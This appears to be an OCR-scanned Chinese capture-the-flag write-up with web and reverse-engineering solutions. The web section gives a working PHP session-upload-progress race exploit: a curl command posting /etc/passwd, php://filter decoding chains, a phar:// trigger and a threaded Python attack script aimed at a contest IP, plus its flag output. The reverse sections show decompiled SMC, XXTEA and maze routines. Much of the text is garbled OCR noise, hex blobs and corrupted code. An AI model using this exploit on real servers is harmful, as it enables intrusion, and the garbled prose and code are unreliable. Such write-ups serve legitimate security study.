00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00
=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=4
1=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=
00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00
=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=3
7=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=
00=48=00=51=00=6B=00=31=00=43=00

HFRBIRENE
FFsessionSHERAIRN, FIIBAREIERIEEHRSB RIS NILLEERT

curl http://127.0.0.1:8001/ -H 'Cookie: PHPSESSID=Titsasuk' -F
' PHP_SESSION_UPLOAD_PROGRESS=[Your_data]' -F 'file=@/etc/passwd’

L.
leaimg
root@2abfb263fdab: /tmp# cat sess_litsasuk
upload_progress_[Your_data]|a:5:{s:10:"start_time";i:1730098380;s:14: "content_length™”;i:3388;s:15: "bytes_pro

cessed";i:3388;s:4:"done";b:1;s:5:"fFiles";a:1:{i:0;a:7:{s:10:"field_name”;s:1:"f";s:4:"name";s:6:"passwd”;s:
8:"tmp_name";s:14:"/tmp/phpZIuXyr";s:5:"error";i:0;s:4:"done";b:1;s:10: "start_time";i:1730098380;s:15: "bytes
_processed";i:3130; }}}root@2abfb263fdab: /tmp#

BAIATLAE A base bARIBHIF I KB IR RIGHIZ T 5

BUEAY"upload_progress_"—#HE 147 Eid fuzzEf ) REBEEGERIIRNER"22", #173/Rbase64fii
BEERNILTHE.

T EEAREE, SRERNRKANRESSIE MARET, ERBNHREANSHR
RIS

BRXEBEE—MAT, HEMRIFNIEI HITIKbaseoAfRBEERIREIRE, BBATAIRIBEHY
pharSs 4 iR B EELLH T3/ base644mi3, HTFbaseoRmIASME, MRS F=FRPHI
T="MSRRREEM, FTARAIAZE S payloadiBFs— M, EZEL3IRbase64dRiDEIA=HIN =" 7
FEEREAE93/3RIEE

[FEARMIpayload@1392fi, FEEIEF1 2(UBEHITELSE3Xbase644wi5


af://n1075
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=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=5
5=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=
00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=74=00
=41=00=41=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=4
1=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=33=00=41=00=41=00=41=
00=41=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=42=00=5A=00=47=00=31=00=70=00
=62=00=69=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=6
9=00=4A=00=6A=00=62=00=32=00=52=00=6C=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=49=
00=77=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=6F=00
=4A=00=79=00=39=00=79=00=5A=00=57=00=46=00=6B=00=5A=00=6D=00=78=00=68=00=5A=00=7
9=00=63=00=70=00=4F=00=79=00=49=00=37=00=66=00=51=00=67=00=41=00=41=00=41=00=42=
00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00
=41=00=41=00=44=00=64=00=58=00=42=00=74=00=6E=00=42=00=41=00=41=00=41=00=41=00=4
1=00=78=00=2B=00=66=00=39=00=69=00=32=00=41=00=51=00=41=00=41=00=41=00=41=00=41=
00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=4A=00=52=00=4F=00=30=00=76=00
=59=00=75=00=4B=00=35=00=35=00=4A=00=33=00=5A=00=72=00=2B=00=48=00=70=00=34=00=3
7=00=46=00=4B=00=68=00=6F=00=54=00=66=00=47=00=77=00=49=00=41=00=41=00=41=00=42=
00=48=00=51=00=6B=00=31=00=43=00AAAAAAAAAAAA

S3 {4 LARIER 4
BEXf4poc

?filename=php://filter/read=php://filter/read=convert.base64-
decode|convert.base64-decode|convert.base64-decode|convert.quoted-printable-
decode|convert.iconv.utf-161le.utf-8|convert.base64-
decode/resource=/tmp/sess_1litsasuk

A phar R FFFIE

?filename=phar:///tmp/tmp.tmp/test.txt

—ICERIZE

FHRITEREFMRSRN, ERIRENVNIRER, TEERSART, 8HE © @, FLUERMER
FXTQAQ

import sys
from threading import Thread, Event
import requests

HOST = 'http://125.70.243.22:31303/"'
sess_name = 'Titsasuk'

headers = {

'Connection': 'close',

'Cookie': '"PHPSESSID=' + sess_name
}

stop_event = Event()
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payload =
'VUZSVmQxQ1VRWGRRVkZFd1VGUkIkMUIVVFRWUVZFRjNVR1IQTTFCVVFYZFFWRmwOVUZSQMQXQ1VVVF]
RVkVGM1VGU13TRkIVUVhkuvZGa3pVR1ICZDFCVVZUUTFWRUYZVUZSTMVGQ1VRWGRRVKUWMVVGUKIkMUJ
VVVRWUVZFRJNVRTIWZUZCVVFYZFFWR1V4vUZSQmQxQ1VvzelIRVKkVGMIVGUTZNVkIVUVhkUVZGVTBVRT ]
CZDFCVVRYZFFWRUYZzVUZSU13sQ1VRWGRRVkZWM1VGUkIKMUIVVIRCUVZFRINVRTIWTWXCVVFYZFFWRKY
1vuzsqmQxQ1vva0pRVkVGM1VGU1ZNRkIVUVhkUVZGRXhVR1ICZDFCVVZUSTFWRUYZVUZSVMVSQ1VRWGR
RVKZKRFVGUkIKkMUIVVVhwUVZFRjNVR1IhUTFCVVFYZFFWRTB6VUZSQMQXQ1VVVFZRVKkVGM1VGUTINRk]
VUVhkKUVZFMDBVR1JCZDFCVVNrT1FWRUYZVUZSUk1GQ1VRWGRRVKZWNFVGUKIKkMUIVWTNKUVZFRINVRT ]
gqTUZCVVFYZFFWRkYOVUZSQmQxQT1VvVWGhRVkVGM1VGUTI1RkIVUVhKUVZGRJRVRTICZDFCVVVYaFFWRUY
ZVUZSVmVGQ1VRWGRRVKZGNFVGUk JkMUJVVVhoUVZFRjNVRTISZUZCVVFYZFFWRkY1VUZSQmQXxQ1VVVEZ
RVkVGM1VGU13TRkIVUVhkUVZGRRVR1ICZDFCVVVYaFFWRUYZVUZSUMVGQ1VRWGRRVKZGNVVGUKkIkMU3J
VVVhOUVZFRjNVR13ISZUZCVVFYZFFWRkYOVUZSQMQXxQ1VVWGhRVkVGM1VGUT3I1RkIVUVhKkUVZGRJRVRT]
CZDFCVVVYaFFWRUYzVUZSTmVsQ1VRWGRRVKZGNFVGUkJKMUJVVVhoUVZFRjNVRTISZUZCVVFYZFFWRKY
0vUzsQmQxQTVWVEIRVKVGM1VGUMtRbEIVUVhkUVZGCEhVRTICZDFCVVRYAaFFWRUYZVUZSU1IXQTVRWGR
RVkZrMvVGUk JKMUJVVWEKUVZFRJNVR1ISZVZCVVFYZFFWR1pDVUZSQMQXQ1VVVE5SRVKVGM1VGUKS5 1Rk I
VUVhkKUVZHTjNVR1ICZDFCVVAYbFFWRUYZVUZSWk 5WQ1VRWGRRVKZFMVVGUK JKMUJVVFRKUVZFRjNVR1 ]
TUTZCVVFYZFFWR1V3VUZSQmQxQ1VZM2RRVKVGM1VGUK 5NMUIVUVhkUVZGbDZVR1ICZDFCVVPFSTFWRUY
ZVUZSYVIXQIVRWGRRVKUXM1VGUkIkMUJIVVWtkUVZFRINVRTIaT1ZCVVFYZFFWRkpDVUZSQMQxQ1VvXalp
RVkVGM1VGUTp1VvkIVUVhKUVZFMTVVR1ICZDFCVVZYbFFWRUYZVUZSYVIGQ1VRWGRRVKZFMVVGUKIKMUJ
VV2tKUVZFRjNVR1IqTUZCVVFYZFFWR1IDVUZSQMQXQ1VVa2RRVKVGM1VGUMFRbBEIVUVhKUVZGRTFVRT ]
CZDFCVV16T1FWRUYZzVUZSU1IXQTVRWGRRVkKZrMvVGUkIKMUIVVWEKUVZFRFNVRTIrUWxCVVFYZFFWRmMt
4vuzsQmQxQ1VwWVFIRVKVGM1VGUTNSbEIVUVhKUVZFMTNVRTICZDFCVVZrSTFWRUYZzVUZSVKOXQTVRWGR
RVkUXM1VGUkIkMUIVV2tkUVZFRINVRTITUWXCVVFYZFFWRO0XVUZSQMQXQ1VUVFZRVKVGM1VGUMpOVkK3
VUVhkUVZGWKNVRTJICZDFCVVZUTTFWRUYZVUZSUk1sQ1VRWGRRVKZWRFVGUKJKkMUJVVMtKUVZFRjNVR1 ]
hu1zCVvVFYZFFWROOWVUZSQMQXQ1VXVFIRVKVGM1VGUTdRbEIVUVhKkUVZHTTFVR1ICZDFCVVAYCFFWRUY
zVUZSamQxQ1VRWGRRVkZKSFVGUkIKkMUIVWXpWUVZFRINVRTIST1ZCVVFYZFFWRTB6VUZSQMQXQ1VXVEp
RVkVGM1VGU1Z1RkIVUVhkUvZGa3pVR1ICZDFCVVVYaFFWRUYZVUZSUMVGQ1VRWGRRVKZGNFVGUkIkMUJ
VVVhsUVZFRjNVR1J0ZDFCVVFYZFFWR1pDVUZSQMQXQ1VWVFIRVKVGMIVGUTNSbEIVUVhKUVZFMTNVRT ]
CZDFCVVVrUTFWRUYZzVUZSYVIsQ1VRWGRRVKZWNVVGUkIKMUIVVFRCUVZFRINVRTIaTUZCVVFYZFFWRKY
0vuzsQmQxQ1vwwGhRVkVGM1VGUT31RkIVUVhKUVZGRIRVRTICZDFCVVVYaFFWRUYZzVUZSUK1GQTVRWGR
RVkZrd1vGUkIkMUIVVIRSUVZFRINVR1ISZVZCVVFYZFFWR013VUZSQmQxQ1vXalpRVkVGM1VGU13Tvk3
VUVhkKUVZGRJjRVRTICZDFCVVVYaFFWRUYZVUZSUmMVGQ1VRWGRRVKZGNFVGUk JkMUJVVVhoUVZFRjNVR1]
qTkZCVVFYZFFWRXBEVUZSQmMQxQTVXVEPRVkVGM1VGUk50VkIVUVhkuvzGazFVR1ICZDFCVVRYbFFWRUY
ZVUZSUMVGQTVRWGRRVKZWNFVGUK IJKkMUIVVVhoUVZFRINVR1ISZUZCVVFYZFFWRKkYOVUZSQMQXQ1VVWGh
RVkVGM1VGU1JITRkIVUVhkUVZGRjRVR1ICZDFCVVVYaFFWRUYzVUZSUk5GQTVRWGRRVkZWNVVGUkJIkMUJ
VV2tSUVZFRJNVR1JazZWxCVVFYZFFWRTE2VUZSQMQXQ1VWWGXRVKVGM1VGUTNRbBEJIVUVhkUVZGVjVVRT]
CZDFCVVVIrZFFWRUYZzVUZSTmMQXQ1VRWGRRVkdNeVVGUkIkMUIVVIRWUVZFRINVRTIQTVZCVVFYZFFWRKp
EVUZSQmQXQ1VUVEZRVkVGM1VGUk5NVkIVUVhkUVZGSKNVR1ICZDFCVVRYCFFWRUYZVUZSV1FsQ1VRWGR
RVkdONVVGUKJkMUJIVU2tOUVZFRjNVR1ISTKZCVVFYZFFWR04ZzVUZSQMQXQ1VUVEIRVKVGM1VGUK5NMUJ
VUVhkUVZGRXTVRTICZDFCVVVrT1FWRUYZVUZSWk5GQ1VRWGRRVKkZWSFVGUKkJkMUJVV1RCUVZFRjNVR1]
aTWXCVVFYZFFWRkV6VUZSQMQxQ1vzek 5RVkVGM1VGU1I0VkIVUVhkUVZGRIRVRTICZDFCVVVYaFFWRUY
ZVUZSUMVGQTVRWGRRVKZGNVVGUKIKMUJVVVRSUVZFRjNVRTIWZUZCVVFYZFFWRNBEVUZSQMQXQ1VUWGh
RVkVGM1VGUTITbEIVUVhkU1ZVWKNVV1ZHUWXGV1IrSTIwvvpD'

response = requests.get(HOST, headers=headers)

cookies = response.cookies

def runnerlQ):

data = {
' PHP_SESSION_UPLOAD_PROGRESS': 'zz' + payload

}

print("Exploding...")

while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
fp.close()



def runner2(Q):
file = '/tmp/sess_' + sess_name
filename = 'php://filter/read=convert.base64-decode|convert.base64-
decode|convert.base64-decode|convert.quoted-printable-decode|convert.iconv.utf-
161e.utf-8|convert.base64-decode/resource=%s"' % file
# print filename
while 1:
url = '%s?filename=%s' % (HOST, filename)
r = requests.get(url, cookies=cookies)

C = r.content

def runner3():
filename = 'phar:///tmp/tmp.tmp/test.txt’
while True:
url = f'{HOST}?filename={filename}"’
r = requests.get(url, cookies=cookies)
content = r.text

if "D0g3" in content:
start_index = content.index("D0g3")
output = content[start_index:]
print(output)
sys.exit(0)

threads = []
tl = Thread(target=runnerl)
t2 = Thread(target=runner2)

t3 = Thread(target=runner3)

threads.append(tl)
threads.append(t2)
threads.append(t3)

tl.start()
t2.start()
t3.start()

for t in threads:
t.joinQ)

leiimg
)-[/home/Llitsasuk/exp]

(
[:_ python payloadphar.py
Exploding. ..

DOg3xGC{ba81u572-b332-Ucld-balll-ac26a6805a2u}
N
[18]+ Stopped pvthon payloadphar.py




BEXE

https://blog.orange.tw/posts/2018-10-hitcon-ctf-2018-one-line-php-challenge/

https://xz.aliyun.com/t/2958

Laravel 8 Debug Mode RCE @58, - Diggid's Blog

https://xz.aliyun.com/t/1773/

RE

Crush's_secret

SMCER%>, YISMCEZLL 0xD850D500, OxBCDEBBCD, 0x5426982A, OxABEF4678, 0x1D345678,
Ox89ABCDEF, 0x12345678, 0x05201314M9F# TR, ILABSFSERodt TR, tBeJliz
TR e IR Tdump

1 __int64 sub_411900()

2 {

3 __int64 ve; // rax

4 __int64 v2; // [esp-8h] [ebp-18Ch]
5 DWORD flOldProtect[3]; // [esp+D@h] [ebp-B4h] BYREF
6 int k; // [esp+DCh] [ebp-A8h]

7 unsigned int Number; // [esp+E8h] [ebp-9Ch]

8 unsigned int *v6; // [esp+F4h] [ebp-96h]

9 SIZE_T j; // [esp+leeh] [ebp-84h]

10 SIZE_T dwSize; // [esp+l1l@Ch] [ebp-78h]

11  LPVOID 1lpAddress; // [esp+118h] [ebp-6Ch]

12  int i; // [esp+124h] [ebp-6@h]

13 int v1i[1e]; // [esp+136h] [ebp-54h]

14  void *Bufl; // [esp+158h] [ebp-2Ch]

15 int v13; // [esp+164h] [ebp-2@h]

16 int v14; // [esp+1l7@h] [ebp-14h]

17 int vi15; // [esp+17Ch] [ebp-8h]

18 int savedregs; // [esp+184h] [ebp+8h] BYREF

19

© 20 sub_411375(&unk_41FeF3);
® 21 GetModuleHandleW(®);
® 22 v15 = sub_411285();
® 23 vl14 = v15;
® 24 v13 = *(_DWORD *)(v15 + 60) + vi15;
© 25 HIDWORD(vE) = v13;
© 26  Bufl = (void *)(v13 + *(unsigned __intlé *)(v1i3 + 28) + 24);
© 27 wvll[e] = ex5201314;
@28  v11[1] = ©x12345678;
© 29 v11[2] = ©x89ABCDEF;
© 38 v11[3] = ex1D345678;
© 31 v11[4] = OxABEF4678;
® 32 v11[5] = ©x5426982A;
@ 33  v1l[e] = ©xBCDEBBCD;
© 34 v11[7] = ©xD856D500;
©35 for (1=8; ; ++1 )
36 |
® 37 LODWORD(v8) = vi3;
® 38 if ( 1 »>= *(unsigned __intlée *)(v13 + 6) )



af://n1095
https://blog.orange.tw/posts/2018-10-hitcon-ctf-2018-one-line-php-challenge/
https://xz.aliyun.com/t/2958
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27  vil[e] = ex5201314;

28 v11[1] = ©x12345678;

29 v11[2] = ©x89ABCDEF;

39 v11[3] = @x1D345678;

31 w11[4] = ©exABEF4678;

32 v11[5] = @x5426982A;

33 wvll[e] = exBCDEBBCD;

34 v11[7] = exD85eD500;

35 for (1 =0; ; ++1 )

36 {

37 LODWORD(v8) = v13;

38 if (1 »>= *(unsigned __intl6 *)(v13 + 6) )

39 break;

40 if ( !'j_memcmp(Bufl, ".SMC", 4u) )

41 {

42 l1pAddress = (LPVOID)(*((_DWORD *)Bufl + 3) + v15);
43 dwSize = *((_DWORD *)Bufl + 2);

44 for ( J =0; < duSize; j += 4 )

45 {

46 if ((J + 4 <= dwSize )

47 {

48 v6 = (unsignhed int *)((char *)lpAddress + j);
49 Number = j__byteswap_ulong(*(_DWORD *)((char *)lpAddress + 7));
50 for ( k =0; k < 8; ++k )

51

52 *v6 = j__byteswap_ulong(lNumber);

53 }

54 }

55 VirtualProtect(lpAddress, dwSize, @x4@u, flOldProtect);
56 LODWORD(v@) = sub_411285();

57 break;

58 }

59 Bufl = (char *)Bufl + 48;

60 1}

61 v2 = ve;
62 sub_41121C(&savedregs, dword_411Be8);
63 return vZ;

64 }

0O0000EBC sub 411900:51 (411A8C)

2391, RARERRE, HRAUEBXXTEAFRdeltafYE, FHEENOPHELIEIN R IFE
HASMERIEN, ATERILE)

INZFFIXXTEA SR

#include
#include
#include
#include
#include

<stdint.h>
<string.h>
<stdio.h>

<stdlib.h>
<windows . h>

#define MX ((z >> 5 Ay << 2) + (y > 3 Az << 4) A ((sum A y) + (key[(p & 3) A

el A z))

)

void xxtea_decrypt(uint32_t* v, int n, uint32_t const key[4])

{

uint32_t y, z, sum;

unsigned p, rounds, e;

if (n > 1)

{

r

ounds = 6 + 52 / n;



sum = rounds * 0x9e3779b9;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p =n-1; p> 0; p--)

{

= v[p - 1];

= v[p] -= MmX;
z =v[n - 1];

y = v[0] -= MX;
sum -= 0x9e3779b9;
} while (--rounds);

void decrypt_string(const uint32_t* encrypted, size_t len, uint32_t* key, char*
plaintext)

{
for (size_t i =0; i < len; i += 2)
{
uint32_t block[2] = { encrypted[i], encrypted[i + 1] };
xxtea_decrypt(block, 2, key);
memcpy(plaintext + i * 4, block, sizeof(uint32_t) * 2);
}
plaintext[len * 4] = "\0';
}

int main(Q)
{

uint32_t cmp[] = { 0x5a764f8a, 0x05b0df77, 0xf101df69, 0xf9cldef4,
0x27f03590, 0x7df3324f, 0x2e322d74, 0x8f2a09bc, Oxabe2a0d7, 0x0c2a09fe,
0x35892bb2, 0x53abbal2 };

size_t len = sizeof(cmp) / sizeof(cmp[0]);

uint32_t key[4] = { 0x05201314, 0x52013140, 0x05201314, 0x52013140 };

char* plaintext = (char*)malloc(len * 4 + 1);

if (plaintext == NULL)
{

fprintf(stderr, "Memory allocation failed\n");
return 1;

decrypt_string(cmp, len, key, plaintext);
printf("Decrypted text: %s\n", plaintext);

free(plaintext);

return 0;

//The_wind_stops_at_autumn_water_and_I_stop_at_you



lwaimg

Microsoft Visual Studio @il X + v

Decrypted text: The_wind_stops_at_autumn_water_and_I_stop_at_you

FunMz

RIERE B fEAFunMz G AT LVBEX B— MXE R, EKEREHEESHERIN A EF IR,

AT BRI -
BMNTRR, B—KiErmake the path safy first:, 5 _JK#&7and,input the True path!

XiBASE —IRIAFXIMEHT 73R, BRTRERIBIA.
SO LRI BERTIAAE :

__int64 __fastcall sub_14001c2cO0(__int64 al)
{
/ /A g
for (i =0; ; ++1 )
{
v22 = 1i;
vl = sub_140012AEB(al + 4096);
if (v22 >= vl )

break;
if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'R' )
{
if ( *(_BYTE *)sub_14001215e(al + 4096, i + 1) == "\"" )
{
++1;

gmemcpy (v10, (const void *)sub_1400121C7 (&unk_140043010, 3i64),
0OxCui64);
sub_14001204B(al, v10, 0i164);
}
else
{
gmemcpy (v1ll, (const void *)sub_1400121C7(&unk_140043010, 31i64),
0OxCui6d);
LOBYTE(V2) = 1;
sub_14001204B(al, v11, v2);

}

}

else if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'U" )

{
if ( *(_BYTE *)sub_14001215E(al + 4096, i + 1) == "\"" )
{

gmemcpy (v1l2, (const void *)sub_1400121C7(&unk_140043010, 4i64),
0OxCui64);
sub_14001204B(al, v12, 0i64);
++1;
}
else
{
gmemcpy (v1l3, (const void *)sub_1400121C7(&unk_140043010, 4i64),
0OxCui6d);
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LOBYTE(V3) = 1;
sub_14001204B(al, v13, v3);

}

}

else if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'F' )

{
if ( *(_BYTE *)sub_14001215e(al + 4096, i + 1) == "\"" )
{

gmemcpy (v1l4, (const void *)sub_1400121C7 (&unk_140043010, 0i64),
0xCui6d);
sub_14001204B(al, v14, 0i64);
++1;
}
else
{
gmemcpy (v15, (const void *)sub_1400121C7(&unk_140043010, 0i64),
0OxCui64);
LOBYTE(v4) = 1;
sub_14001204B(al, v15, v4);

}

}

else if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'L' )

{
if ( *(_BYTE *)sub_14001215e(Cal + 4096, i + 1) == "\'"' )
{

gmemcpy (v1l6, (const void *)sub_1400121C7(&unk_140043010, 2i64),
0OxCuib4);
LOBYTE(V5) = 1;
sub_14001204B(al, v16, v5);
++1;
}
else
{
gmemcpy (vl7, (const void *)sub_1400121C7 (&unk_140043010, 2i64),
0OxCuib4);
sub_14001204B(al, v17, 0i64);

}
}
else if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'D' )
{
if ( *(_BYTE *)sub_14001215E(al + 4096, i + 1) == "\""' )
{
gmemcpy (v18, (const void *)sub_1400121C7(&unk_140043010, 5i64),
0OxCui64);
sub_14001204B(al, v18, 0i64);
++1;
}
else
{

gmemcpy (v19, (const void *)sub_1400121cC7 (&unk_140043010, 5i64),
0OxCui6d);

LOBYTE(Vv6) = 1;

sub_14001204B(al, v19, v6);



else if ( *(_BYTE *)sub_14001215e(al + 4096, i) == 'B' )
{
if ( *(_BYTE *)sub_14001215E(al + 4096, i + 1) == "\"" )
{
gmemcpy (v20, (const void *)sub_1400121C7(&unk_140043010, 1i64),
0OxCui64);
sub_14001204B(al, v20, 0i164);
++1;
}
else
{
gmemcpy (v21, (const void *)sub_1400121C7(&unk_140043010, 1i64),
0OxCuib4);
LOBYTE(V7) = 1;
sub_14001204B(al, v21, v7);

}

return 0i64;



sub_140012CF8(&unk 14004A326);

v = 0;

vs = ( )sub_140012041(al1 + 3912);
v6 = sub_140012091(al + 3912);

while ( 1 )

{

result = v6;
if ((vs5 = ( Jve )
break;
v7 = *v5;
if ( #v5 = 'h' )
{
v4 += sub 140012cD5(al, ©i64, OxFFFFFFFFi64);

}
else
{
switch ( v7 )

{

case 'j
v4 += sub_140012CD5(al, 1i64, 0i64);
break;
case 'k':
v4 += sub_140012cD5(al, OxFFFFFFFFi64, 01i64);
breal;
case 'l':
v4 += sub_140012CD5(al, 0i64, 1i64);
break;
default:
v2 = sub 140012136(std :: cout
v3 = sub _140012136(v2, "d //inpu//t
std::ostream:: operator<<(v3, sub_ 140012082);
exit(1);
}
}
+Hv5;
}
if ( va )
exit(2);
return result;

}

BIFBE—MRNENBEAERE A, FEFNMBARBEZ ETAEARXIN (vim) BBARLSE
TERERERI TR, EERETRAE.



sub_140012CF8(&unk_ 14004A326);
gmemcpy(al, a2, 0xF30ui64); /! TE
sub_14002E620(v18, al);
if ( 1( Jsub_1400297606(v18) )
{
Vi sub_140012136(std ::
v5 sub_140012136(v4,
v6 sub_140012136(v5, g!
std:: ostream: Operatoer(vo, sub 14@@1?@87),
}
v19 = *( JarrayFind(al + 3896, 1i64);
vZ = ( JarrayFind(al + 3896, 0i64);
v8 = sub_140012CBC(al, *v7);
if ( =( Jsub_140012019(v8, v19)
Il (vigo = *( JarrayFind(al + 3904, 1i64),
ve = ( JarrayFind(al + 3904, 0i64),
v1i0 = sub 140012CBC(al, *v9),
*( Jsub_14e012019(vie, vig9)) )
{
vil = sub_140012136(std:: cout, "wrong!");
std::ostream:: operator<<(vil, sub_ 140012082);
}
else
{
sub_140012E01(al);
getInput2(al);
if ( ( Jsub_14001298D(al + 3888, al + 3904) )
{
vi2 = sub 140012136(std:: cout, "Great!");
vl3 = std::ostream:: operator<<(vi2, sub_ 140012082);
sub_140012136(v13, "yourFlagIs: D {MD5( YourInputPath)}!");

THEMarray#EREN T RABREIEE
11,1%013,31

R ETEE R RTRAL AR
BFfrwrongsafdif:

return 144 * a2 + al; return al + 4 * a2;

arr + 144x + 4y

144 * a2 + a1Fal + 4 * R2ANREMERIGRE_RKES|, IR IEWYRES | BFXEFHE, B2
BEEERdword, FFLAERLI4

BD: al+36%*a2+1 *a3
AR EEITI6N, 2 4EE

T IHIEEUR N SRIREL:



sub_140012CF8(&unk_14004A326);
vh = 0;
v = ( )sub_140012041(al + 3912);
v6 = sub_140012091(al + 3912);
while ( 1 )
{

result = v6,;

if ( vs = ( Jve )

break;

v7 = *v5;

if ( *v5 = 'h' )

{

}

else

{

v4 += makeMove(al, 0i64, OxFFFFFFFFi64);

switch ( v7 )
{
case 'j
v4 += makeMove(al, 1i64, 0i64);
break;
case 'k':
v4 += makeMove(al, OxFFFFFFFFi64, 0i64);
break;
case 'l':
v4 += makeMove(al, 0i64, 1i64);
break;
default:
v2 = sub 140012136(std::cout, "b =
v3 = sub 140012136(v2, "d //inpu ");
std :: ostream:: operator<<(v3, sub 140012082);
exit(1);

}
}
++Vv5;
}
if ( va )
exit(2);
return result;

BATRINRATRIE(-1,0)1,00Z2209), XEBEZERRIERREAMESEYH, BTREERICE, Fr
LA KAt REEmakeMoveREHi T, BBAAN



// rax
// rax
// rax
// [rsp+E0h] [rbp+Coh]
// [rsp+E@h] [rbp+cCoh]

sub_ 140012CF8(&unk 14004A326);
v7 a3 + *=( JarrayFind(al +
( JarrayFind(al + 3888,
sub 140012CBC(al, a2 + *v3);
if ( *( Jsub_140012019(v4&, v7) )
return 1164
ve = ( JarrayFind(a1l +
’-.Ft') += a2
= ( JarrayFind(a1l +
*VB +=
return

AJLERIXERAMEERESXIAEN0, WMRANALIEY, BUERETSMMAIEFREES. B

BRI LASIX BB 0 rray FindSREVAHBEZ HRIRIMAR, —FHARIMIRRIEFE11,1, HEIXEERMmAB—
B

=</

AR LAFEIX BB dumpithE], FRAEIEI/ N TEDHSRAEF
import struct

def read_signed_dwords_from_addr(addr, length):
print("™)
for i in range(0, length, 4):
dword_value = get_wide_dword(addr + i)
signed_value = struct.unpack('i', struct.pack('1', dword_value))[0]
print(f"{signed_value},", end="")

read_signed_dwords_from_addr(0x14c880, OxF30)




0
0
0
0

e e e e e

FIENHRRXE

ALUEY, XE—NESRRFEEERENIN, BNESRKENIX9X9, BRERINIRISHT, ia
HIORERE, MBIKEERKBANFHHEBAFNLNETULIXE— M ELRITE, FE5ERE
3ETTE, BTFSERBMAZREERE, ATLUEEENEX, TLUSA LR, &0
BEXAME L3RR,

XN R L HER
RRLLUUDDFFBB
IR RIREUEE, AEHEERRR, REEEEE:

TT33TTTTTTTIKTTTIITT117353131 1T TkkkT11TkkkT11133 3]
DOg3xGA{17A2D9ADF83E739AF392D287178A6C96}

esay key

A BIRX TR
=Zi5IAE

__1int64 __fastcall sub_180001A30(__int64 al, __int64 a2, __int64 a3)

-~

int v3; // edx

__1int64 v4; // rdx

unsigned int v6; // [rsp+2Ch] [rbp-15Ch]
__int64 v7; // [rsp+30h] [rbp-158h]
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_DWORD Vv9[2]; // [rsp+40h] [rbp-148h] BYREF
int v10; // [rsp+48h] [rbp-140h]

int vl1l; // [rsp+4ch] [rbp-13ch]

_BYTE v12[24]; // [rsp+50h] [rbp-138h] BYREF
_BYTE v13[28]; // [rsp+68h] [rbp-120h] BYREF
_WORD v14[50]; // [rsp+84h] [rbp-104h] BYREF
_BYTE v15[48]; // [rsp+E8h] [rbp-AOh] BYREF
_BYTE v16[8]; // [rsp+118h] [rbp-70h] BYREF
_BYTE v17[48]; // [rsp+120h] [rbp-68h] BYREF
_BYTE v18[8]; // [rsp+150h] [rbp-38h] BYREF
__int64 v19; // [rsp+158h] [rbp-30h]

__int64 v20; // [rsp+160h] [rbp-28h]

__int64 v21; // [rsp+168h] [rbp-20h]

__int64 v22; // [rsp+170h] [rbp-18h]

__int64 v23; // [rsp+178h] [rbp-10h]
unsigned int v24; // [rsp+180h] [rbp-8h]

int v25; // [rsp+184h] [rbp-4h]

vl9 = al;
v20 = a2;
v21l = a3;

v22 = sub_180001730(a2);
if ( (a2 & OxF) !'= 0 )

sub_18000c5D0(16LL, a2, &off_18000D2D8);
if ( (sub_180009560(*(unsigned int *)(a2 + 48)) & 1) !'= 0 )
{

if ( (a2 & OxF) !=0 )

sub_18000c5D0(16LL, a2, &off_18000D2F0);
v7 = *(_QWORD *) (a2 + 24);

v23 = Vv7;
v = *(_QWORD *)(a2 + 56) >> 3;
v24 = vb;

if ( (v7 & 1) !'=0)
sub_18000c5p00(2LL, v7, &off_18000D320);
if ( *(_WORD *)(v7 + 4) )

{
v9[0] = sub_180003EFO(OLL, Vv6);
v9[1l] = v3;
while ( 1)
{
v10 = sub_180003EDO(V9);
vll = v4;
if C 1v10 )
break;
v25 = vl1l;

if ( (v7 & 1) I=0)
sub_18000c5D0(2LL, v7, &off_18000D368);
if ( *(_WORD *)(v7 + 2) == 28 )
{
if ( (v7 & 1) '=0)
sub_18000c5D0(2LL, v7, &off_18000D380);
if C *(_WORD *)(v7 + 2) == 14 )
{
sub_180004C90(&unk_180010000) ;



else

{
sub_180004FBO(v12, &unk_180010000);
v14[0] = 32;
v14[1] = 42;
v14[2] = 11;
v14[3] = 34;
v14[4] = 4;
v14[5] = 45;
v14[6] = 34;
v14[7] = 42;
v14[8] = 46;
v14[9] = 42;
v14[10] = 26;
v14[11] = 42;
v14[12] = 30;
v14[13] = 7;
v14[14] = 7;
v14[15] = 48;
v14[16] = 3;
v14[17] = 4;
v14[18] = 5;
v14[19] = 3;
v14[20] = 12;
v14[21] = 11;
v14[22] = 5;
v14[23] = 32;
v14[24] = 5;
v14[25] = 12;
v14[26] = 5;
v14[27] = 7;
v14[28] = 9;
v14[29] = 30;
v14[30] = 12;
